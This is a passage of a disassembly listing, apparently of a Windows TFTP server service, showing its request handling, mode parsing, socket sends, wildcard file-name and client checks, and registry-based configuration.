[ebp+Src], eax call ds:malloc ; malloc mov ebx, eax pop ecx test ebx, ebx jz loc_1003331 mov ecx, 400Dh xor eax, eax mov edi, ebx rep stosd push dword ptr [esi+10h] ; in call ds:inet_ntoa ; inet_ntoa mov [ebp+to], eax mov ax, [esi+0Eh] push eax ; hostshort call ds:htons ; htons mov edi, [ebp+Src] mov [ebp+var_C], edi mov al, [edi] test al, al jz short loc_1002FCD loc_1002FB5: ; CODE XREF: sub_1002F31+97j movsx eax, al push eax ; C call ds:tolower ; tolower mov [edi], al mov al, [edi+1] inc edi pop ecx test al, al jnz short loc_1002FB5 mov [ebp+var_C], edi loc_1002FCD: ; CODE XREF: sub_1002F31+82j mov edi, [ebp+Src] mov eax, offset aNetascii ; "netascii" loc_1002FD5: ; CODE XREF: sub_1002F31+C0j mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_1002FF7 test cl, cl jz short loc_1002FF3 mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_1002FF7 inc edi inc edi inc eax inc eax test cl, cl jnz short loc_1002FD5 loc_1002FF3: ; CODE XREF: sub_1002F31+AEj xor eax, eax jmp short loc_1002FFC ; --------------------------------------------------------------------------- loc_1002FF7: ; CODE XREF: sub_1002F31+AAj ; sub_1002F31+B8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_1002FFC: ; CODE XREF: sub_1002F31+C4j test eax, eax jz short loc_1003037 mov edi, [ebp+Src] mov eax, offset aOctet ; "octet" loc_1003008: ; CODE XREF: sub_1002F31+F3j mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_100302A test cl, cl jz short loc_1003026 mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_100302A inc edi inc edi inc eax inc eax test cl, cl jnz short loc_1003008 loc_1003026: ; CODE XREF: sub_1002F31+E1j xor eax, eax jmp short loc_100302F ; --------------------------------------------------------------------------- loc_100302A: ; CODE XREF: sub_1002F31+DDj ; sub_1002F31+EBj sbb eax, eax sbb eax, 0FFFFFFFFh loc_100302F: ; CODE XREF: sub_1002F31+F7j test eax, eax jnz loc_10032F6 loc_1003037: ; CODE XREF: sub_1002F31+CDj mov edi, [ebp+var_18] or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esi+1FFADh] repne scasb not ecx sub edi, ecx push edx mov eax, ecx mov esi, edi mov edi, edx mov [ebp+Src], edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call sub_100261E test eax, eax jnz short loc_1003071 push offset aMalformedFileN ; "Malformed file name" jmp short loc_10030CB ; --------------------------------------------------------------------------- loc_1003071: ; CODE XREF: sub_1002F31+137j push [ebp+to] push offset Data call sub_10039D6 test eax, eax jnz short loc_1003093 push [ebp+to] push offset byte_1005D20 call sub_10039D6 test eax, eax jz short loc_10030A4 loc_1003093: ; CODE XREF: sub_1002F31+14Fj push [ebp+Src] push offset byte_1005D58 call sub_10039D6 test eax, eax jnz short loc_10030B0 loc_10030A4: ; CODE XREF: sub_1002F31+160j call ds:_errno ; _errno push 0 push 2 jmp short loc_1003100 ; --------------------------------------------------------------------------- loc_10030B0: ; CODE XREF: sub_1002F31+171j push (offset dword_1005E07+1) ; int push 0FFBCh ; int push [ebp+Src] ; Src call sub_100273D test eax, eax jnz short loc_10030CF push offset aFileNameTooLon ; "File name too long" loc_10030CB: ; CODE XREF: sub_1002F31+13Ej push 0 jmp short loc_1003100 ; --------------------------------------------------------------------------- loc_10030CF: ; CODE XREF: sub_1002F31+193j push 8000h push [ebp+Src] call ds:_open ; _open pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebx+1002Ch], eax jnz short loc_1003116 mov esi, ds:_errno call esi ; _errno push dword ptr [eax] ; dwErrCode call ds:SetLastError call esi ; _errno push 0 push 1 loc_1003100: ; CODE XREF: sub_1002F31+17Dj ; sub_1002F31+19Cj mov eax, [ebp+arg_0] push dword ptr [eax+8] lea ecx, [eax+0FFF1h] add eax, 0Ch push ecx push eax jmp loc_1003308 ; --------------------------------------------------------------------------- loc_1003116: ; CODE XREF: sub_1002F31+1B7j mov edi, ds:_lseek push 2 push 0 push eax call edi ; _lseek mov esi, [ebp+arg_0] add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_1003140 push 0 push 0 mov [esi+24h], eax push dword ptr [ebx+1002Ch] call edi ; _lseek add esp, 0Ch loc_1003140: ; CODE XREF: sub_1002F31+1FBj cmp eax, 0FFFFFFFFh jnz short loc_1003159 mov edi, ds:_errno call edi ; _errno call edi ; _errno push dword ptr [eax] ; dwErrCode call ds:SetLastError jmp short loc_1003197 ; --------------------------------------------------------------------------- loc_1003159: ; CODE XREF: sub_1002F31+212j push 0 ; protocol push 2 ; type push 2 ; af call ds:socket ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+Src], edi jz short loc_1003191 mov eax, [esi+1Ch] and word ptr [ebp+name.sa_data], 0 mov dword ptr [ebp+name.sa_data+2], eax lea eax, [ebp+name] push 10h ; namelen push eax ; name push edi ; s mov [ebp+name.sa_family], 2 call ds:bind ; bind test eax, eax jz short loc_10031A3 loc_1003191: ; CODE XREF: sub_1002F31+23Cj call ds:WSAGetLastError ; WSAGetLastError loc_1003197: ; CODE XREF: sub_1002F31+226j push offset aInsufficientRe ; "Insufficient resources" push 0 jmp loc_10032FA ; --------------------------------------------------------------------------- loc_10031A3: ; CODE XREF: sub_1002F31+25Ej push ebx ; lpCriticalSection mov [esi+8], edi call ds:InitializeCriticalSection ; InitializeCriticalSection mov [ebx+20h], edi add esi, 0Ch lea edi, [ebx+28h] mov [ebp+to], esi movsd movsd movsd movsd xor edi, edi push edi ; lpName push edi ; bInitialState push edi ; bManualReset push edi ; lpEventAttributes call ds:CreateEventA ; CreateEventA cmp eax, edi mov [ebx+0FFF8h], eax jz short loc_10031E8 push 2 ; char push eax ; hEventObject push [ebp+Src] ; s call sub_100188E cmp eax, edi mov [ebx+0FFFCh], eax jnz short loc_10031F3 loc_10031E8: ; CODE XREF: sub_1002F31+2A0j call ds:GetLastError jmp loc_1003312 ; --------------------------------------------------------------------------- loc_10031F3: ; CODE XREF: sub_1002F31+2B5j add ebx, 18h push ebx call sub_100287F push 1 pop esi push [ebp+Src] mov [ebp+var_14], esi call sub_10028B5 mov ebx, eax cmp ebx, edi jz loc_1003312 lea edi, [ebx+10028h] lea eax, [ebx+38h] push edi ; int push eax ; int lea eax, [ebx+10024h] mov [ebp+var_10], esi push eax ; int mov eax, [ebp+var_C] push esi ; int mov esi, [ebp+arg_0] inc eax push eax ; Str1 push esi ; int call sub_10023D8 test eax, eax jnz loc_1003312 cmp [edi], eax jz short loc_1003255 mov eax, [esi+28h] imul eax, 3E8h mov [ebx+10000h], eax jmp short loc_100325F ; --------------------------------------------------------------------------- loc_1003255: ; CODE XREF: sub_1002F31+311j mov dword ptr [ebx+10000h], 3E8h loc_100325F: ; CODE XREF: sub_1002F31+322j mov eax, [ebx+10000h] push 0 push eax push eax push dword ptr [ebx+20h] lea eax, [ebx+10004h] push offset sub_1002A3D push eax push dword_10060A0 call ds:RtlCreateTimer ; RtlCreateTimer push 1 pop edi mov [ebx+24h], edi mov eax, [esi+20h] push esi push ebx mov [ebx+10018h], eax mov [ebx+10014h], di call sub_10027E1 push 10h ; tolen xor ecx, ecx push [ebp+to] ; to cmp eax, ecx mov [ebx+1000Ch], ecx push ecx ; flags push dword ptr [ebx+10020h] ; len jz short loc_10032D9 lea eax, [ebx+38h] push eax ; buf push [ebp+Src] ; s call ds:sendto ; sendto mov ecx, [ebx+1001Ch] cmp ecx, [esi+20h] jnb short loc_10032E9 mov [ebx+10030h], edi jmp short loc_10032E9 ; --------------------------------------------------------------------------- loc_10032D9: ; CODE XREF: sub_1002F31+386j add esi, 0FFF1h push esi ; buf push [ebp+Src] ; s call ds:sendto ; sendto loc_10032E9: ; CODE XREF: sub_1002F31+39Ej ; sub_1002F31+3A6j cmp eax, 0FFFFFFFFh jnz short loc_1003312 call ds:WSAGetLastError ; WSAGetLastError jmp short loc_1003312 ; --------------------------------------------------------------------------- loc_10032F6: ; CODE XREF: sub_1002F31+100j push 0 ; int push 4 ; hostshort loc_10032FA: ; CODE XREF: sub_1002F31+26Dj push dword ptr [esi+8] ; s lea eax, [esi+0FFF1h] add esi, 0Ch push eax ; int push esi ; to loc_1003308: ; CODE XREF: sub_1002F31+1E0j call sub_100230A jmp short loc_1003312 ; --------------------------------------------------------------------------- loc_100330F: ; CODE XREF: sub_1002F31+27j mov ebx, [ebp+arg_0] loc_1003312: ; CODE XREF: sub_1002F31+2BDj ; sub_1002F31+2DDj ... test ebx, ebx jz short loc_1003331 cmp [ebp+var_10], 0 jz short loc_1003323 push ebx ; lpCriticalSection call ds:LeaveCriticalSection loc_1003323: ; CODE XREF: sub_1002F31+3E9j cmp [ebp+var_14], 0 jnz short loc_1003331 push ebx ; Memory call ds:free ; free pop ecx loc_1003331: ; CODE XREF: sub_1002F31+50j ; sub_1002F31+3E3j ... pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_1002F31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100333A proc near ; DATA XREF: sub_1001A91+20Fo name = sockaddr ptr -28h to = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch Src = dword ptr -8 s = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h and [ebp+var_10], 0 and [ebp+var_14], 0 push ebx push esi push edi push 10034h ; Size call ds:malloc ; malloc mov ebx, eax pop ecx test ebx, ebx jz loc_1003731 mov ecx, 400Dh xor eax, eax mov edi, ebx push 0FFBAh rep stosd mov eax, [ebp+arg_0] lea esi, [eax+36h] push esi mov [ebp+s], esi call sub_1002F0E test eax, eax jz loc_1003712 mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [ebp+arg_0] not ecx push dword ptr [edi+10h] ; in dec ecx lea esi, [ecx+esi+1] call ds:inet_ntoa ; inet_ntoa mov [ebp+to], eax mov ax, [edi+0Eh] push eax ; hostshort call ds:htons ; htons cmp byte ptr [esi], 0 mov edi, esi mov [ebp+var_C], edi jz short loc_10033E1 loc_10033BC: ; CODE XREF: sub_100333A+A2j movsx eax, byte ptr [edi] push eax ; C call ds:isupper ; isupper test eax, eax movsx eax, byte ptr [edi] pop ecx jz short loc_10033D6 push eax ; C call ds:tolower ; tolower pop ecx loc_10033D6: ; CODE XREF: sub_100333A+92j mov [edi], al inc edi cmp byte ptr [edi], 0 jnz short loc_10033BC mov [ebp+var_C], edi loc_10033E1: ; CODE XREF: sub_100333A+80j mov eax, offset aNetascii ; "netascii" mov edi, esi loc_10033E8: ; CODE XREF: sub_100333A+CAj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_100340A test cl, cl jz short loc_1003406 mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_100340A inc edi inc edi inc eax inc eax test cl, cl jnz short loc_10033E8 loc_1003406: ; CODE XREF: sub_100333A+B8j xor eax, eax jmp short loc_100340F ; --------------------------------------------------------------------------- loc_100340A: ; CODE XREF: sub_100333A+B4j ; sub_100333A+C2j sbb eax, eax sbb eax, 0FFFFFFFFh loc_100340F: ; CODE XREF: sub_100333A+CEj test eax, eax jnz short loc_100341F mov dword ptr [ebx+10030h], 4000h jmp short loc_100345D ; --------------------------------------------------------------------------- loc_100341F: ; CODE XREF: sub_100333A+D7j mov edi, offset aOctet ; "octet" loc_1003424: ; CODE XREF: sub_100333A+106j mov cl, [esi] mov al, cl cmp cl, [edi] jnz short loc_1003446 test al, al jz short loc_1003442 mov cl, [esi+1] mov al, cl cmp cl, [edi+1] jnz short loc_1003446 inc esi inc esi inc edi inc edi test al, al jnz short loc_1003424 loc_1003442: ; CODE XREF: sub_100333A+F4j xor eax, eax jmp short loc_100344B ; --------------------------------------------------------------------------- loc_1003446: ; CODE XREF: sub_100333A+F0j ; sub_100333A+FEj sbb eax, eax sbb eax, 0FFFFFFFFh loc_100344B: ; CODE XREF: sub_100333A+10Aj test eax, eax jnz loc_10036F8 mov dword ptr [ebx+10030h], 8000h loc_100345D: ; CODE XREF: sub_100333A+E3j mov eax, [ebp+arg_0] mov edi, [ebp+s] or ecx, 0FFFFFFFFh lea edx, [eax+1FFADh] xor eax, eax repne scasb not ecx sub edi, ecx push edx mov eax, ecx mov esi, edi mov edi, edx mov [ebp+Src], edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call sub_100261E test eax, eax jnz short loc_100349A push offset aMalformedFileN ; "Malformed file name" jmp short loc_10034DF ; --------------------------------------------------------------------------- loc_100349A: ; CODE XREF: sub_100333A+157j push [ebp+to] push offset byte_1005D20 call sub_10039D6 test eax, eax jz loc_10036EC push [ebp+s] push offset byte_1005D90 call sub_10039D6 test eax, eax jz loc_10036EC push (offset dword_1005E07+1) ; int push 0FFBCh ; int push [ebp+Src] ; Src call sub_100273D test eax, eax jnz short loc_10034E6 push offset aFileNameTooLon ; "File name too long" loc_10034DF: ; CODE XREF: sub_100333A+15Ej push 0 jmp loc_10036FC ; --------------------------------------------------------------------------- loc_10034E6: ; CODE XREF: sub_100333A+19Ej push 180h push 8302h push [ebp+Src] call ds:_open ; _open add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebx+1002Ch], eax jnz short loc_100351E mov esi, ds:_errno call esi ; _errno call esi ; _errno push dword ptr [eax] ; dwErrCode call ds:SetLastError jmp loc_10036F2 ; --------------------------------------------------------------------------- loc_100351E: ; CODE XREF: sub_100333A+1CBj xor esi, esi push esi ; protocol push 2 ; type push 2 ; af call ds:socket ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+s], edi jnz short loc_1003546 call ds:WSAGetLastError ; WSAGetLastError push offset aInsufficientRe ; "Insufficient resources" push esi jmp loc_10036FC ; --------------------------------------------------------------------------- loc_1003546: ; CODE XREF: sub_100333A+1F9j mov word ptr [ebp+name.sa_data], si mov esi, [ebp+arg_0] push 10h ; namelen mov [ebp+name.sa_family], 2 mov eax, [esi+1Ch] mov dword ptr [ebp+name.sa_data+2], eax lea eax, [ebp+name] push eax ; name push edi ; s call ds:bind ; bind test eax, eax jz short loc_100358A call ds:WSAGetLastError ; WSAGetLastError push offset aInsufficientRe ; "Insufficient resources" push 0 push dword ptr [esi+8] lea eax, [esi+0FFF1h] add esi, 0Ch push eax push esi jmp loc_100370D ; --------------------------------------------------------------------------- loc_100358A: ; CODE XREF: sub_100333A+22Ej lea eax, [ebx+10028h] mov [esi+8], edi push eax ; int lea eax, [ebx+38h] push eax ; int lea eax, [ebx+10024h] push eax ; int mov eax, [ebp+var_C] inc eax push 2 ; int push eax ; Str1 push esi ; int call sub_10023D8 test eax, eax jnz loc_1003712 push ebx ; lpCriticalSection call ds:InitializeCriticalSection ; InitializeCriticalSection mov [ebx+20h], edi add esi, 0Ch lea edi, [ebx+28h] mov [ebp+to], esi movsd movsd movsd movsd xor esi, esi push esi ; lpName push esi ; bInitialState push esi ; bManualReset push esi ; lpEventAttributes call ds:CreateEventA ; CreateEventA cmp eax, esi mov [ebx+0FFF8h], eax jz short loc_10035F8 push 2 pop edi push edi ; char push eax ; hEventObject push [ebp+s] ; s call sub_100188E cmp eax, esi mov [ebx+0FFFCh], eax jnz short loc_1003603 loc_10035F8: ; CODE XREF: sub_100333A+2A5j call ds:GetLastError jmp loc_1003712 ; --------------------------------------------------------------------------- loc_1003603: ; CODE XREF: sub_100333A+2BCj add ebx, 18h push ebx call sub_100287F push [ebp+s] mov [ebp+var_14], 1 call sub_10028B5 mov ebx, eax cmp ebx, esi jz loc_1003712 xor esi, esi mov [ebp+var_10], 1 cmp [ebx+10028h], esi jz short loc_100364A mov eax, [ebp+arg_0] mov eax, [eax+28h] imul eax, 3E8h mov [ebx+10000h], eax jmp short loc_1003654 ; --------------------------------------------------------------------------- loc_100364A: ; CODE XREF: sub_100333A+2FAj mov dword ptr [ebx+10000h], 3E8h loc_1003654: ; CODE XREF: sub_100333A+30Ej mov eax, [ebx+10000h] push esi push eax push eax push dword ptr [ebx+20h] lea eax, [ebx+10004h] push offset sub_1002A3D push eax push dword_10060A0 call ds:RtlCreateTimer ; RtlCreateTimer mov eax, [ebp+arg_0] mov ecx, [ebx+10024h] mov [ebx+24h], edi cmp ecx, esi mov eax, [eax+20h] mov [ebx+10018h], eax lea eax, [ebx+10024h] jz short loc_10036A1 mov [ebx+10020h], ecx mov [eax], esi jmp short loc_10036C5 ; --------------------------------------------------------------------------- loc_10036A1: ; CODE XREF: sub_100333A+35Bj mov esi, ds:htons push 4 pop edi push edi ; hostshort call esi ; htons mov [ebx+38h], ax mov ax, [ebx+10014h] push eax ; hostshort call esi ; htons mov [ebx+3Ah], ax mov [ebx+10020h], edi loc_10036C5: ; CODE XREF: sub_100333A+365j push 10h ; tolen lea eax, [ebx+38h] push [ebp+to] ; to push 0 ; flags push dword ptr [ebx+10020h] ; len push eax ; buf push [ebp+s] ; s call ds:sendto ; sendto cmp eax, 0FFFFFFFFh jnz short loc_1003712 call ds:WSAGetLastError ; WSAGetLastError jmp short loc_1003712 ; --------------------------------------------------------------------------- loc_10036EC: ; CODE XREF: sub_100333A+16Fj ; sub_100333A+184j call ds:_errno ; _errno loc_10036F2: ; CODE XREF: sub_100333A+1DFj push 0 push 2 jmp short loc_10036FC ; --------------------------------------------------------------------------- loc_10036F8: ; CODE XREF: sub_100333A+113j push 0 ; int push 4 ; hostshort loc_10036FC: ; CODE XREF: sub_100333A+1A7j ; sub_100333A+207j ... mov eax, [ebp+arg_0] push dword ptr [eax+8] ; s lea ecx, [eax+0FFF1h] add eax, 0Ch push ecx ; int push eax ; to loc_100370D: ; CODE XREF: sub_100333A+24Bj call sub_100230A loc_1003712: ; CODE XREF: sub_100333A+48j ; sub_100333A+274j ... test ebx, ebx jz short loc_1003731 cmp [ebp+var_10], 0 jz short loc_1003723 push ebx ; lpCriticalSection call ds:LeaveCriticalSection loc_1003723: ; CODE XREF: sub_100333A+3E0j cmp [ebp+var_14], 0 jnz short loc_1003731 push ebx ; Memory call ds:free ; free pop ecx loc_1003731: ; CODE XREF: sub_100333A+21j ; sub_100333A+3DAj ... pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_100333A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100373A proc near ; CODE XREF: sub_1002CE6+D7p var_1FF70 = byte ptr -1FF70h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, 1FF70h call _chkstk ; _chkstk cmp [ebp+arg_C], 8000h push esi push edi jnz short loc_100375A push [ebp+arg_8] push [ebp+arg_4] jmp short loc_1003792 ; --------------------------------------------------------------------------- loc_100375A: ; CODE XREF: sub_100373A+16j mov edx, [ebp+arg_4] xor ecx, ecx xor esi, esi cmp [ebp+arg_8], ecx jle short loc_1003790 mov edi, [ebp+arg_10] loc_1003769: ; CODE XREF: sub_100373A+54j cmp byte ptr [edi], 0Dh jnz short loc_1003779 cmp byte ptr [ecx+edx], 0 jnz short loc_1003779 and byte ptr [edi], 0 jmp short loc_100378A ; --------------------------------------------------------------------------- loc_1003779: ; CODE XREF: sub_100373A+32j ; sub_100373A+38j mov al, [ecx+edx] mov [ebp+esi+var_1FF70], al inc esi cmp al, 0Dh jnz short loc_100378A mov [edi], al loc_100378A: ; CODE XREF: sub_100373A+3Dj ; sub_100373A+4Cj inc ecx cmp ecx, [ebp+arg_8] jl short loc_1003769 loc_1003790: ; CODE XREF: sub_100373A+2Aj push esi push edx loc_1003792: ; CODE XREF: sub_100373A+1Ej push [ebp+arg_0] call ds:_write ; _write mov edi, eax add esp, 0Ch cmp edi, 0FFFFFFFFh jnz short loc_10037B7 mov esi, ds:_errno call esi ; _errno call esi ; _errno push dword ptr [eax] ; dwErrCode call ds:SetLastError loc_10037B7: ; CODE XREF: sub_100373A+69j mov eax, edi pop edi pop esi leave retn 14h sub_100373A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10037BF proc near ; CODE XREF: sub_1001665:loc_10017F3p hKey = dword ptr -10h Type = dword ptr -0Ch cbData = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h lea eax, [ebp+hKey] push ebx xor ebx, ebx push eax ; phkResult push 0F003Fh ; samDesired push ebx ; ulOptions push offset SubKey ; "System\\CurrentControlSet\\Services\\tftpd"... push 80000002h ; hKey mov [ebp+var_4], ebx call ds:RegOpenKeyExA ; RegOpenKeyExA cmp eax, ebx jz short loc_10037F6 call ds:GetLastError xor eax, eax jmp loc_100390D ; --------------------------------------------------------------------------- loc_10037F6: ; CODE XREF: sub_10037BF+28j cmp byte ptr dword_1005E07+1, bl push edi push esi mov esi, ds:RegQueryValueExA jnz short loc_100383C lea eax, [ebp+cbData] mov [ebp+cbData], 1F4h push eax ; lpcbData lea eax, [ebp+Type] push (offset dword_1005E07+1) ; lpData push eax ; lpType push ebx ; lpReserved push offset ValueName ; "directory" push [ebp+hKey] ; hKey call esi ; RegQueryValueExA cmp eax, ebx jz short loc_1003831 call ds:GetLastError jmp short loc_100383C ; --------------------------------------------------------------------------- loc_1003831: ; CODE XREF: sub_10037BF+68j push 1 pop eax cmp [ebp+Type], eax jnz short loc_100383C mov [ebp+var_4], eax loc_100383C: ; CODE XREF: sub_10037BF+45j ; sub_10037BF+70j ... push 32h lea eax, [ebp+cbData] pop edi push eax ; lpcbData lea eax, [ebp+Type] push offset Data ; lpData push eax ; lpType push ebx ; lpReserved push offset aClients ; "clients" push [ebp+hKey] ; hKey mov [ebp+cbData], edi call esi ; RegQueryValueExA cmp eax, ebx jz short loc_1003866 call ds:GetLastError jmp short loc_100386F ; --------------------------------------------------------------------------- loc_1003866: ; CODE XREF: sub_10037BF+9Dj cmp [ebp+Type], 1 jnz short loc_100386F inc [ebp+var_4] loc_100386F: ; CODE XREF: sub_10037BF+A5j ; sub_10037BF+ABj lea eax, [ebp+cbData] mov [ebp+cbData], edi push eax ; lpcbData lea eax, [ebp+Type] push offset byte_1005D20 ; lpData push eax ; lpType push ebx ; lpReserved push offset aMasters ; "masters" push [ebp+hKey] ; hKey call esi ; RegQueryValueExA cmp eax, ebx jz short loc_1003896 call ds:GetLastError jmp short loc_100389F ; --------------------------------------------------------------------------- loc_1003896: ; CODE XREF: sub_10037BF+CDj cmp [ebp+Type], 1 jnz short loc_100389F inc [ebp+var_4] loc_100389F: ; CODE XREF: sub_10037BF+D5j ; sub_10037BF+DBj lea eax, [ebp+cbData] mov [ebp+cbData], edi push eax ; lpcbData lea eax, [ebp+Type] push offset byte_1005D58 ; lpData push eax ; lpType push ebx ; lpReserved push offset aReadable ; "readable" push [ebp+hKey] ; hKey call esi ; RegQueryValueExA cmp eax, ebx jz short loc_10038C6 call ds:GetLastError jmp short loc_10038CF ; --------------------------------------------------------------------------- loc_10038C6: ; CODE XREF: sub_10037BF+FDj cmp [ebp+Type], 1 jnz short loc_10038CF inc [ebp+var_4] loc_10038CF: ; CODE XREF: sub_10037BF+105j ; sub_10037BF+10Bj lea eax, [ebp+cbData] mov [ebp+cbData], edi push eax ; lpcbData lea eax, [ebp+Type] push offset byte_1005D90 ; lpData push eax ; lpType push ebx ; lpReserved push offset aWritable ; "writable" push [ebp+hKey] ; hKey call esi ; RegQueryValueExA cmp eax, ebx jz short loc_10038F6 call ds:GetLastError jmp short loc_10038FF ; --------------------------------------------------------------------------- loc_10038F6: ; CODE XREF: sub_10037BF+12Dj cmp [ebp+Type], 1 jnz short loc_10038FF inc [ebp+var_4] loc_10038FF: ; CODE XREF: sub_10037BF+135j ; sub_10037BF+13Bj push [ebp+hKey] ; hKey call ds:RegCloseKey ; RegCloseKey mov eax, [ebp+var_4] pop esi pop edi loc_100390D: ; CODE XREF: sub_10037BF+32j pop ebx leave retn sub_10037BF endp ; =============== S U B R O U T I N E ======================================= sub_1003910 proc near ; CODE XREF: sub_1001665+193p Dst = byte ptr -1F4h sub esp, 1F4h cmp byte ptr dword_1005E07+1, 0 push ebx push ebp push esi push edi mov ebp, 1F4h mov ebx, (offset dword_1005E07+1) jnz short loc_100393D push ebp ; Count push offset Source ; "\\tftpdroot\\" push ebx ; Dest call ds:strncpy ; strncpy add esp, 0Ch loc_100393D: ; CODE XREF: sub_1003910+1Bj lea eax, [esp+204h+Dst] push ebp ; nSize push eax ; lpDst push ebx ; lpSrc call ds:ExpandEnvironmentStringsA ; ExpandEnvironmentStringsA test eax, eax jnz short loc_1003952 push 57h jmp short loc_10039CA ; --------------------------------------------------------------------------- loc_1003952: ; CODE XREF: sub_1003910+3Cj mov ecx, eax lea esi, [esp+204h+Dst] mov edi, ebx or edx, 0FFFFFFFFh shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, ebx mov ecx, edx repne scasb not ecx dec ecx cmp byte ptr dword_1005E07[ecx], 2Fh lea eax, dword_1005E07[ecx] jnz short loc_1003986 mov byte ptr [eax], 5Ch loc_1003986: ; CODE XREF: sub_1003910+71j cmp byte ptr [eax], 5Ch jz short loc_10039B7 cmp ecx, ebp jnb short loc_10039B7 mov edi, offset asc_100155C ; "\\" mov ecx, edx xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov ebp, ecx mov edi, ebx mov ecx, edx repne scasb mov ecx, ebp dec edi shr ecx, 2 rep movsd mov ecx, ebp and ecx, 3 rep movsb loc_10039B7: ; CODE XREF: sub_1003910+79j ; sub_1003910+7Dj mov edi, ebx mov ecx, edx xor eax, eax push 1 repne scasb not ecx dec ecx mov dword_1005FFC, ecx loc_10039CA: ; CODE XREF: sub_1003910+40j pop eax pop edi pop esi pop ebp pop ebx add esp, 1F4h retn sub_1003910 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10039D6 proc near ; CODE XREF: sub_1002F31+148p ; sub_1002F31+159p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi mov al, [esi] test al, al jz short loc_1003A2E cmp al, 2Ah jz short loc_1003A04 cmp al, 3Fh jz short loc_10039F7 mov ecx, [ebp+arg_4] cmp al, [ecx] jnz short loc_1003A25 inc ecx push ecx jmp short loc_1003A01 ; --------------------------------------------------------------------------- loc_10039F7: ; CODE XREF: sub_10039D6+14j mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jz short loc_1003A25 inc eax push eax loc_1003A01: ; CODE XREF: sub_10039D6+1Fj inc esi jmp short loc_1003A1B ; --------------------------------------------------------------------------- loc_1003A04: ; CODE XREF: sub_10039D6+10j mov edi, [ebp+arg_4] lea eax, [esi+1] push edi push eax call sub_10039D6 test eax, eax jnz short loc_1003A29 cmp [edi], al jz short loc_1003A25 inc edi push edi loc_1003A1B: ; CODE XREF: sub_10039D6+2Cj push esi call sub_10039D6 test eax, eax jnz short loc_1003A29 loc_1003A25: ; CODE XREF: sub_10039D6+1Bj ; sub_10039D6+27j ... xor eax, eax jmp short loc_1003A38 ; --------------------------------------------------------------------------- loc_1003A29: ; CODE XREF: sub_10039D6+3Dj ; sub_10039D6+4Dj push 1 pop eax jmp short loc_1003A38 ; --------------------------------------------------------------------------- loc_1003A2E: ; CODE XREF: sub_10039D6+Cj mov ecx, [ebp+arg_4] xor eax, eax cmp [ecx], al setz al loc_1003A38: ; CODE XREF: sub_10039D6+51j ; sub_10039D6+56j pop edi pop esi pop ebp retn 8 sub_10039D6 endp ; [00000006 BYTES: COLLAPSED FUNCTION _chkstk. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION NotifyAddrChange. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION GetIpAddrTable. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_1001560 push offset loc_1003BF0 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE0h push ebx push esi push edi mov [ebp-18h], esp mov dword ptr [ebp-4], 0 push 1 call ds:__set_app_type ; __set_app_type add esp, 4 mov dword_10062D0, 0FFFFFFFFh mov dword_10062D4, 0FFFFFFFFh call ds:__p__fmode ; __p__fmode mov ecx, dword_100600C mov [eax], ecx call ds:__p__commode ; __p__commode mov edx, dword_1006008 mov [eax], edx mov eax, ds:_adjust_fdiv mov ecx, [eax] mov dword_10062D8, ecx call nullsub_2 mov eax, dword_1005DC4 test eax, eax jnz short loc_1003AE1 push offset loc_1003BD0 call ds:__setusermatherr ; __setusermatherr add esp, 4 loc_1003AE1: ; CODE XREF: .text:01003AD1j call sub_1003BB0 push offset dword_100500C push offset dword_1005008 call _initterm ; _initterm add esp, 8 mov edx, dword_1006004 mov [ebp-28h], edx lea eax, [ebp-28h] push eax mov ecx, dword_1006000 push ecx lea edx, [ebp-20h] push edx lea eax, [ebp-2Ch] push eax lea ecx, [ebp-1Ch] push ecx call ds:__getmainargs ; __getmainargs add esp, 14h push offset dword_1005004 push offset dword_1005000 call _initterm ; _initterm add esp, 8 call ds:__p___initenv ; __p___initenv mov edx, [ebp-20h] mov [eax], edx mov eax, [ebp-20h] push eax mov ecx, [ebp-2Ch] push ecx mov edx, [ebp-1Ch] push edx call sub_1001570 ; --------------------------------------------------------------------------- add esp, 0Ch mov [ebp-24h], eax push eax call ds:exit ; exit ; --------------------------------------------------------------------------- jmp short loc_1003B80 ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-30h], ecx push eax push ecx call _XcptFilter ; 